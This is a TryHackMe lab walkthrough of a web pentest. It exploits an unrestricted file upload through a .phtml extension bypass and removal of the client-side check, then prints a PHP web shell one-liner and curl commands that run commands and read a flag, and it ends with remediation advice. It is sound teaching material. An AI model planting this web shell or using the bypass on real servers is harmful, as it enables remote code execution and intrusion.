

TryHackMe: Guided Pentest (Web)

Comprehensive Walkthrough & Technical Security Assessment Report

TARGET IP

10.112.172.234

VULNERABILITY

Unrestricted File Upload

OUTCOME

Remote Code Execution

1. Lab Overview & Objective

This document records the penetration testing methodology used to compromise the target application on TryHackMe. The objective was to exploit file upload flaws, bypass validation controls, achieve Remote Code Execution (RCE), extract host information, and retrieve the hidden system flag.

2. Reconnaissance & Initial Enumeration

The application exposes an administrative upload panel located at `/admin/upload.php`. Authenticated users (such as administrator Sarah Mitchell) can upload files to the server. Initial inspection revealed that uploads are stored within the public web directory under `/uploads/documents/`.

3. Testing Upload Restrictions

To evaluate how robust the server-side checks were, we performed progressive tests:

- **Text File Test (`test.txt`):** Rejected by the server, confirming active validation filters.
- **PHP File Test (`test.php`):** Rejected, confirming a blocklist targeting explicit `.php` extensions.
- **Alternative Extension Bypass (`test.phtml`):** Accepted successfully. The server processes alternative extensions like `.phtml` via Apache, exposing an incomplete blocklist oversight.

4. Client-Side Bypass & Exploit Execution

The form utilized a browser-level `accept` attribute restriction. Using browser Developer Tools (Inspect), we removed this attribute to permit alternative file selections.

We created a custom PHP web shell using the local terminal:

```
echo '<?php if(isset($_GET["cmd"])) { echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; } ?>' > shell.phtml
```

After uploading `shell.phtml` through the admin panel, the file was successfully deployed at `/uploads/documents/shell.phtml`.

5. Flag Retrieval & Enumeration

With RCE established, system commands were executed via HTTP query parameters using `curl`:

Checking Hostname:

```
curl "http://10.112.172.234/uploads/documents/shell.phtml?cmd=hostname"
```

Retrieving the Flag:

```
curl "http://10.112.172.234/uploads/documents/shell.phtml?cmd=cat+/var/www/flag.txt"
```

6. Remediation & Defense Recommendations

Secure Coding Best Practices:

- **Allowlist Validation:** Enforce strict file extension allowlists (e.g., `.jpg`, `.png`) rather than blocklists.
- **Magic Byte Verification:** Check underlying binary headers rather than relying on user-submitted file extensions.
- **Web Root Isolation:** Store user-uploaded files outside the public web root or disable script execution within upload directories.